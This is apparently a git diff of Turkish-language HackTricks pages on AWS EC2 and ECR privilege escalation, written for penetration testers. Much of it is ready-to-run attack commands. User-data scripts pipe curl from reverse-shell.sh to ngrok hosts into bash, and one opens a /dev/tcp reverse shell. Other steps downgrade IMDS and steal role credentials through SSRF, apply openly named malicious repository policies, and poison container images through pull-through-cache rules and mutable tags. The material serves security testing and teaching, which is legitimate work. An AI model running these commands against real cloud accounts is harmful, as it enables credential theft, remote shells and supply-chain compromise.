rollerine doğrudan privesc. - -### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` - -**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahip bir saldırgan **bir seri bağlantıya ssh anahtarı ekleyebilir**. Seri bağlantı etkin değilse, saldırganın **bunu etkinleştirmek için `ec2:EnableSerialConsoleAccess` iznine** ihtiyacı vardır. - -Seri porta bağlanmak için ayrıca **makine içindeki bir kullanıcının kullanıcı adı ve şifresini bilmeniz gerekir.** -```bash -aws ec2 enable-serial-console-access - -aws ec2-instance-connect send-serial-console-ssh-public-key \ ---instance-id "$INSTANCE_ID" \ ---serial-port 0 \ ---region "eu-west-1" \ ---ssh-public-key "file://$PUBK_PATH" - -ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws -``` -Bu yol, bunu istismar etmek için bir kullanıcı adı ve şifre bilmeniz gerektiğinden, privesc için o kadar faydalı değildir. - -**Potansiyel Etki:** (Son derece kanıtlanamaz) Çalışan örneklere bağlı EC2 IAM rollerine doğrudan privesc. - -### `describe-launch-templates`,`describe-launch-template-versions` - -Başlatma şablonları sürümleme içerdiğinden, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan, kullanıcı verilerinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için bunları istismar edebilir. Bunu başarmak için, aşağıdaki betik mevcut başlatma şablonlarının tüm sürümlerini döngüye alır: -```bash -for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') -do -echo "[*] Analyzing $i" -aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata -do -echo "VersionNumber: $version" -echo "$userdata" | base64 -d -echo -done | grep -iE "aws_|password|token|api" -done -``` -Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemize rağmen, diğer hassas bilgileri aramak için farklı bir regex kullanabilirsiniz. - -`aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'ye kimlik doğrulamak için kullanabiliriz. - -**Olası Etki:** IAM kullanıcı(ları) için doğrudan ayrıcalık yükseltme. - -## Referanslar - -- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md new file mode 100644 index 000000000..9df5fc159 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md @@ -0,0 +1,300 @@ +# AWS - EC2 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EC2 + +Daha fazla **EC2 hakkında bilgi** için bakın: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Bir saldırgan **IAM rolü iliştirerek bir instance oluşturup ardından instance'a erişebilir** ve metadata endpoint'inden IAM rolü kimlik bilgilerini çalabilir. + +- **Access via SSH** + +Bir **oluşturulmuş** **ssh key** (`--key-name`) kullanarak yeni bir instance başlatın ve sonra ona ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız muhtemelen `ec2:CreateKeyPair` iznine ihtiyacınız olacaktır). +```bash +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= --key-name \ +--security-group-ids +``` +- **User data içindeki rev shell ile erişim** + +Yeni bir instance'ı size bir **rev shell** gönderecek şekilde bir **user data** (`--user-data`) kullanarak çalıştırabilirsiniz. Bu şekilde security group belirtmenize gerek yoktur. +```bash +echo '#!/bin/bash +curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh + +aws ec2 run-instances --image-id --instance-type t2.micro \ +--iam-instance-profile Name= \ +--count 1 \ +--user-data "file:///tmp/rev.sh" +``` +IAM role credentials'lerini instance dışında kullanıyorsanız, GuradDuty konusunda dikkatli olun: + +{{#ref}} +../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +{{#endref}} + +**Potansiyel Etki:** Mevcut instance profiles'a bağlı herhangi bir EC2 role doğrudan privesc. + +#### ECS'ye Privesc + +Bu izin setiyle ayrıca **bir EC2 instance oluşturup bunu bir ECS cluster içine kaydedebilirsiniz**. Bu şekilde, erişiminizin olduğu **EC2 instance** içinde ECS **services** çalıştırılacak ve ardından bu servisleri (docker containers) ele geçirip üzerlerine bağlı **ECS roles**'unu çalabilirsiniz. +```bash +aws ec2 run-instances \ +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" + +# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) +# The EC2 instance profile needs basic ECS access +# The content of the user data is: +#!/bin/bash +echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; +``` +Bu yeni EC2 instance'da **ECS servislerinin çalıştırılmasını zorlamayı** öğrenmek için bakın: + +{{#ref}} +../aws-ecs-privesc/README.md +{{#endref}} + +Eğer **yeni bir instance oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, instance'ı cluster içine kaydedip bahsedilen saldırıyı gerçekleştirebilirsiniz. + +**Potential Impact:** task'lere bağlı ECS rollere doğrudan privesc. + +### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** + +Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan **ele geçirilmiş bir instance'ın IAM rolünü değiştirebilir** ve böylece yeni kimlik bilgilerini çalabilir.\ +Bir instance profile sadece 1 role sahip olabildiği için, instance profile **zaten bir role sahipse** (yaygın durum), ayrıca **`iam:RemoveRoleFromInstanceProfile`** iznine de ihtiyacınız olacaktır. +```bash +# Removing role from instance profile +aws iam remove-role-from-instance-profile --instance-profile-name --role-name + +# Add role to instance profile +aws iam add-role-to-instance-profile --instance-profile-name --role-name +``` +Eğer **instance profile'ın bir role'ü var** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. Saldırgan **role'süz bir instance profile bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **role**'ü o **instance profile**'a **ekleyebilir** (daha önce tartışıldığı gibi) ve ele geçirilmiş **instance profile**'ı ele geçirilmiş i**nstance:** ile **ilişkilendirebilir**: + +- Eğer **instance'ın hiç instance profile'ı yoksa** (`ec2:AssociateIamInstanceProfile`) +```bash +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +**Potansiyel Etki:** Başka bir EC2 role doğrudan privesc (bir AWS EC2 instance'ını ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir). + +### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) + +Bu izinlerle, bir instance'a bağlı instance profile'ı değiştirmek mümkün olur; dolayısıyla saldırgan zaten bir instance'a erişim sağlamışsa, ona bağlı instance profile'ı değiştirerek daha fazla instance profile role için kimlik bilgilerini çalabilecektir. + +- Eğer **bir instance profile'ı varsa**, instance profile'ı **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **ilişkilendirebilirsiniz** +```bash +aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da +aws ec2 disassociate-iam-instance-profile --association-id +aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id +``` +- veya **değiştirin** ele geçirilmiş instance'ın **instance profile**'ını (`ec2:ReplaceIamInstanceProfileAssociation`). +```bash +aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id +``` +**Potansiyel Etki:** Farklı bir **EC2 role**'a doğrudan privesc (AWS EC2 instance'ını ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir instance profile durumuna sahip olmanız gerekir). + +### `ec2:RequestSpotInstances`,`iam:PassRole` + +İzinleri **`ec2:RequestSpotInstances`and`iam:PassRole`** olan bir saldırgan, **EC2 Role attached** bir **Spot Instance** talep edebilir ve **user data** içine bir **rev shell** koyabilir.\ +Instance çalıştırıldıktan sonra, **IAM role**'ü çalabilir. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 request-spot-instances \ +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +``` +### `ec2:ModifyInstanceAttribute` + +Bir saldırgan, **`ec2:ModifyInstanceAttribute`** iznine sahipse instance'ın özelliklerini değiştirebilir. Bunlar arasında, **user data**'yı değiştirebilir; bu da instance'ın **run arbitrary data** yapmasını sağlar. Bu, EC2 instance'a **rev shell** elde etmek için kullanılabilir. + +Özelliklerin yalnızca **instance durdurulmuşken** değiştirilebileceğini unutmayın; bu yüzden **izinler** **`ec2:StopInstances`** ve **`ec2:StartInstances`** gereklidir. +```bash +TEXT='Content-Type: multipart/mixed; boundary="//" +MIME-Version: 1.0 + +--// +Content-Type: text/cloud-config; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="cloud-config.txt" + +#cloud-config +cloud_final_modules: +- [scripts-user, always] + +--// +Content-Type: text/x-shellscript; charset="us-ascii" +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Disposition: attachment; filename="userdata.txt" + +#!/bin/bash +bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 +--//' +TEXT_PATH="/tmp/text.b64.txt" + +printf $TEXT | base64 > "$TEXT_PATH" + +aws ec2 stop-instances --instance-ids $INSTANCE_ID + +aws ec2 modify-instance-attribute \ +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH + +aws ec2 start-instances --instance-ids $INSTANCE_ID +``` +**Potential Impact:** Oluşturulan bir instance'a iliştirilmiş herhangi bir EC2 IAM Role'a doğrudan privesc. + +### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` + +Bu izinlere sahip bir saldırgan **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** yeni bir **new Launch Template version** oluşturabilir; bu sürüm **rev shell in** **user data** ve **any EC2 IAM Role on it** içerecek şekilde ayarlanabilir, varsayılan sürümü değiştirebilir; ve **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. +```bash +REV=$(printf '#!/bin/bash +curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash +' | base64) + +aws ec2 create-launch-template-version \ +--launch-template-name bad_template \ +--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" + +aws ec2 modify-launch-template \ +--launch-template-name bad_template \ +--default-version 2 +``` +**Potential Impact:** Farklı bir EC2 rolüne doğrudan privesc. + +### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`) + +Bir saldırgan **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** izinlerine sahipse, **bir Launch Configuration oluşturabilir**; içine bir **IAM Role** ve bir **rev shell** koyan **user data** ekleyip, bu config'ten bir **autoscaling group oluşturabilir** ve rev shell'in **IAM Role'u çalmasını** bekleyebilir. +```bash +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ +--launch-configuration-name bad_config \ +--image-id ami-0c1bc246476a5572b \ +--instance-type t3.micro \ +--iam-instance-profile EC2-CloudWatch-Agent-Role \ +--user-data "$REV" + +aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ +--auto-scaling-group-name bad_auto \ +--min-size 1 --max-size 1 \ +--launch-configuration-name bad_config \ +--desired-capacity 1 \ +--vpc-zone-identifier "subnet-e282f9b8" +``` +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc. + +### `!autoscaling` + +Bu izin kümesi **`ec2:CreateLaunchTemplate`** ve **`autoscaling:CreateAutoScalingGroup`** bir IAM rolüne ayrıcalık yükseltmesi yapmak için **yeterli değildir** çünkü Launch Configuration veya Launch Template içinde belirtilen rolü ilişkilendirmek için **`iam:PassRole` ve `ec2:RunInstances` izinlerine** ihtiyaç vardır (bu bilinen bir privesc'tir). + +### `ec2-instance-connect:SendSSHPublicKey` + +**`ec2-instance-connect:SendSSHPublicKey`** iznine sahip bir saldırgan, bir kullanıcıya bir ssh anahtarı ekleyebilir ve bunu (eğer instance'a ssh erişimi varsa) erişim için veya ayrıcalıkları yükseltmek için kullanabilir. +```bash +aws ec2-instance-connect send-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--instance-os-user "ec2-user" \ +--ssh-public-key "file://$PUBK_PATH" +``` +**Olası Etki:** Çalışan instance'lara bağlı EC2 IAM rollerine doğrudan privesc. + +### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` + +Bir saldırgan **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** iznine sahipse **seri bağlantıya bir ssh anahtarı ekleyebilir**. Seri etkin değilse, saldırganın bunu etkinleştirmek için **`ec2:EnableSerialConsoleAccess`** iznine ihtiyacı vardır. + +Seri porta bağlanmak için ayrıca makine içindeki bir kullanıcının **kullanıcı adı ve parolasını bilmeniz gerekir**. +```bash +aws ec2 enable-serial-console-access + +aws ec2-instance-connect send-serial-console-ssh-public-key \ +--instance-id "$INSTANCE_ID" \ +--serial-port 0 \ +--region "eu-west-1" \ +--ssh-public-key "file://$PUBK_PATH" + +ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws +``` +Bu yöntem privesc için çok kullanışlı değil çünkü bunu exploit etmek için bir kullanıcı adı ve parola bilmeniz gerekir. + +**Potansiyel Etki:** (Oldukça kanıtlanamaz) Çalışan instance'lara bağlı EC2 IAM rollerine doğrudan privesc. + +### `describe-launch-templates`,`describe-launch-template-versions` + +Launch templates sürümlemeye sahip olduğundan, **`ec2:describe-launch-templates`** ve **`ec2:describe-launch-template-versions`** izinlerine sahip bir saldırgan bunları, user data içinde bulunan kimlik bilgileri gibi hassas bilgileri keşfetmek için kullanabilir. Bunu başarmak için, aşağıdaki script mevcut launch template'lerin tüm sürümlerinde döngü yapar: +```bash +for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') +do +echo "[*] Analyzing $i" +aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata +do +echo "VersionNumber: $version" +echo "$userdata" | base64 -d +echo +done | grep -iE "aws_|password|token|api" +done +``` +Yukarıdaki komutlarda, belirli desenleri (`aws_|password|token|api`) belirtmemize rağmen, başka tür hassas bilgileri aramak için farklı bir regex kullanabilirsiniz. + +Eğer `aws_access_key_id` ve `aws_secret_access_key` bulursak, bu kimlik bilgilerini AWS'e kimlik doğrulama için kullanabiliriz. + +**Olası Etki:** Doğrudan IAM kullanıcı(ları) üzerinde ayrıcalık yükseltmesi. + +## Referanslar + +- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + +### `ec2:ModifyInstanceMetadataOptions` (IMDS düşürme — SSRF ile kimlik bilgisi hırsızlığına izin verme) + +Bir saldırgan, hedef bir EC2 instance'ında `ec2:ModifyInstanceMetadataOptions` çağırabilme yeteneğine sahipse, IMDS korumalarını IMDSv1'i etkinleştirerek (`HttpTokens=optional`) ve `HttpPutResponseHopLimit`'i artırarak zayıflatabilir. Bu, instance metadata endpoint'inin instance üzerinde çalışan uygulamalardan yaygın SSRF/proxy yolları aracılığıyla erişilebilir hale gelmesine neden olur. Saldırgan böyle bir uygulamada SSRF tetikleyebilirse, instance profile credentials'ı alıp bunlarla pivot yapabilir. + +- Gerekli izinler: Hedef instance üzerinde `ec2:ModifyInstanceMetadataOptions` (artı host'a erişme/host üzerinde SSRF tetikleme yeteneği). +- Hedef kaynak: Bağlı bir instance profile (IAM role) bulunan çalışan EC2 instance'ı. + +Komut örneği: +```bash +# 1) Check current metadata settings +aws ec2 describe-instances --instance-id \ +--query 'Reservations[0].Instances[0].MetadataOptions' + +# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-endpoint enabled --http-tokens optional \ +--http-put-response-hop-limit 3 --instance-metadata-tags enabled + +# 3) Through the SSRF, enumerate role name +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 4) Through the SSRF, steal the temporary credentials +curl "http://:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" + +# 5) Use the stolen credentials +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity + +# 6) Restore protections (require IMDSv2, low hop limit) +aws ec2 modify-instance-metadata-options --instance-id \ +--http-tokens required --http-put-response-hop-limit 1 +``` +Olası Etki: SSRF yoluyla instance profile credentials'in çalınması; bunun sonucunda EC2 rol izinleriyle ayrıcalık yükseltme ve yatay hareket gerçekleşebilir. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md deleted file mode 100644 index 459a52213..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ /dev/null @@ -1,100 +0,0 @@ -# AWS - ECR Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` - -**`ecr:GetAuthorizationToken`** ve **`ecr:BatchGetImage`** izinlerine sahip bir saldırgan ECR'ye giriş yapabilir ve görüntüleri indirebilir. - -Görüntüleri nasıl indireceğiniz hakkında daha fazla bilgi için: - -{{#ref}} -../aws-post-exploitation/aws-ecr-post-exploitation.md -{{#endref}} - -**Olası Etki:** Trafikteki hassas bilgileri yakalayarak dolaylı ayrıcalık yükseltme. - -### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` - -Bu tüm izinlere sahip bir saldırgan **ECR'ye giriş yapabilir ve görüntüleri yükleyebilir**. Bu, bu görüntülerin kullanıldığı diğer ortamlarda ayrıcalıkları yükseltmek için faydalı olabilir. - -Yeni bir görüntü yüklemeyi/güncellemeyi öğrenmek için kontrol edin: - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` - -Önceki bölüm gibi, ancak kamuya açık depolar için. - -### `ecr:SetRepositoryPolicy` - -Bu izne sahip bir saldırgan **depo** **politikasını** **değiştirerek** kendisine (veya hatta herkese) **okuma/yazma erişimi** verebilir.\ -Örneğin, bu örnekte okuma erişimi herkese verilmektedir. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -`my-policy.json` içeriği: -```json -{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "allow public pull", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr:BatchCheckLayerAvailability", -"ecr:BatchGetImage", -"ecr:GetDownloadUrlForLayer" -] -} -] -} -``` -### `ecr-public:SetRepositoryPolicy` - -Önceki bölümdeki gibi, ancak kamuya açık depolar için.\ -Bir saldırgan, yetkisiz kamu erişimi sağlamak veya ayrıcalıklarını artırmak için bir ECR Kamu deposunun **depo politikasını değiştirebilir**. -```bash -bashCopy code# Create a JSON file with the malicious public repository policy -echo '{ -"Version": "2008-10-17", -"Statement": [ -{ -"Sid": "MaliciousPublicRepoPolicy", -"Effect": "Allow", -"Principal": "*", -"Action": [ -"ecr-public:GetDownloadUrlForLayer", -"ecr-public:BatchGetImage", -"ecr-public:BatchCheckLayerAvailability", -"ecr-public:PutImage", -"ecr-public:InitiateLayerUpload", -"ecr-public:UploadLayerPart", -"ecr-public:CompleteLayerUpload", -"ecr-public:DeleteRepositoryPolicy" -] -} -] -}' > malicious_public_repo_policy.json - -# Apply the malicious public repository policy to the ECR Public repository -aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json -``` -**Olası Etki**: ECR Public deposuna yetkisiz genel erişim, herhangi bir kullanıcının görüntüleri yüklemesine, çekmesine veya silmesine olanak tanır. - -### `ecr:PutRegistryPolicy` - -Bu izne sahip bir saldırgan, **kayıt politikası**nı **değiştirerek** kendisine, hesabına (veya hatta herkese) **okuma/yazma erişimi** verebilir. -```bash -aws ecr set-repository-policy \ ---repository-name \ ---policy-text file://my-policy.json -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md new file mode 100644 index 000000000..3bd015a1b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md @@ -0,0 +1,268 @@ +# AWS - ECR Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage` + +Bir saldırgan, **`ecr:GetAuthorizationToken`** ve **`ecr:BatchGetImage`** izinlerine sahipse ECR'e giriş yapıp imajları indirebilir. + +For more info on how to download images: + +{{#ref}} +../../aws-post-exploitation/aws-ecr-post-exploitation/README.md +{{#endref}} + +**Potansiyel Etki:** Trafikteki hassas bilgileri yakalayarak dolaylı privesc. + +### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart` + +Tüm bu izinlere sahip bir saldırgan **ECR'e giriş yapıp imaj yükleyebilir**. Bu, bu imajların kullanıldığı diğer ortamlarda yetki yükseltmek için faydalı olabilir. + +To learn how to upload a new image/update one, check: + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart` + +Önceki bölümle aynı, ancak public repository'ler için. + +### `ecr:SetRepositoryPolicy` + +Bu izne sahip bir saldırgan **depo politikasını** değiştirerek kendine (veya herkese) **okuma/yazma erişimi** verebilir.\ +Örneğin, bu örnekte okuma erişimi herkese verilmiştir. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +`my-policy.json` dosyasının içeriği: +```json +{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "allow public pull", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] +} +``` +### `ecr-public:SetRepositoryPolicy` + +Önceki bölümdekine benzer, ancak public repository'ler için.\ +Bir saldırgan, yetkisiz halka açık erişim vermek veya ayrıcalıklarını yükseltmek için bir ECR Public repository'sinin **repository policy**'sini değiştirebilir. +```bash +# Create a JSON file with the malicious public repository policy +echo '{ +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "MaliciousPublicRepoPolicy", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"ecr-public:GetDownloadUrlForLayer", +"ecr-public:BatchGetImage", +"ecr-public:BatchCheckLayerAvailability", +"ecr-public:PutImage", +"ecr-public:InitiateLayerUpload", +"ecr-public:UploadLayerPart", +"ecr-public:CompleteLayerUpload", +"ecr-public:DeleteRepositoryPolicy" +] +} +] +}' > malicious_public_repo_policy.json + +# Apply the malicious public repository policy to the ECR Public repository +aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json +``` +**Potential Impact**: ECR Public repository'ye yetkisiz genel erişim; herhangi bir kullanıcının images push, pull veya delete yapmasına izin verir. + +### `ecr:PutRegistryPolicy` + +Bu izne sahip bir saldırgan **kayıt defteri politikasını** **değiştirerek**, kendisine, hesabına (veya hatta herkese) **read/write access** verebilir. +```bash +aws ecr set-repository-policy \ +--repository-name \ +--policy-text file://my-policy.json +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### ecr:CreatePullThroughCacheRule + +ECR Pull Through Cache (PTC) kurallarını, saldırgan tarafından kontrol edilen bir upstream namespace'i güvenilen bir private ECR önekiyle eşlemek için kötüye kullanın. Bu, private ECR'den çeken iş yüklerinin private ECR'ye herhangi bir push yapılmaksızın şeffaf şekilde saldırgan görüntülerini almasını sağlar. + +- Gerekli izinler: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Eğer ECR Public upstream kullanılıyorsa: ecr-public:* ile public repoya create/push yapma. +- Tested upstream: public.ecr.aws + +Adımlar (örnek): + +1. Prepare attacker image in ECR Public +# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1 +docker login public.ecr.aws/ +docker build -t public.ecr.aws//hacktricks-ptc-demo:ptc-test . +docker push public.ecr.aws//hacktricks-ptc-demo:ptc-test + +2. Create the PTC rule in private ECR to map a trusted prefix to the public registry +aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws + +3. Pull the attacker image via the private ECR path (no push to private ECR was done) +docker login .dkr.ecr.us-east-2.amazonaws.com +docker pull .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test +docker run --rm .dkr.ecr.us-east-2.amazonaws.com/ptc//hacktricks-ptc-demo:ptc-test + +Potential Impact: Seçilen önek altındaki dahili imaj isimlerini ele geçirerek supply-chain kompromisi. Bu öneki kullanan private ECR'den imaj çeken herhangi bir iş yükü saldırgan kontrollü içerik alacaktır. + +### `ecr:PutImageTagMutability` + +Bu izni, tag immutability'si olan bir repository'yi mutable hale getirip güvenilen tag'leri (ör. latest, stable, prod) saldırgan kontrollü içerikle üzerine yazmak için kötüye kullanın. + +- Gerekli izinler: `ecr:PutImageTagMutability` artı push yetenekleri (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`). +- Etki: Tag isimlerini değiştirmeden immutable tag'leri sessizce değiştirerek supply-chain kompromisi. + +Adımlar (örnek): + +
+Mutability'yi değiştirerek immutable bir tag'i zehirleyin +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
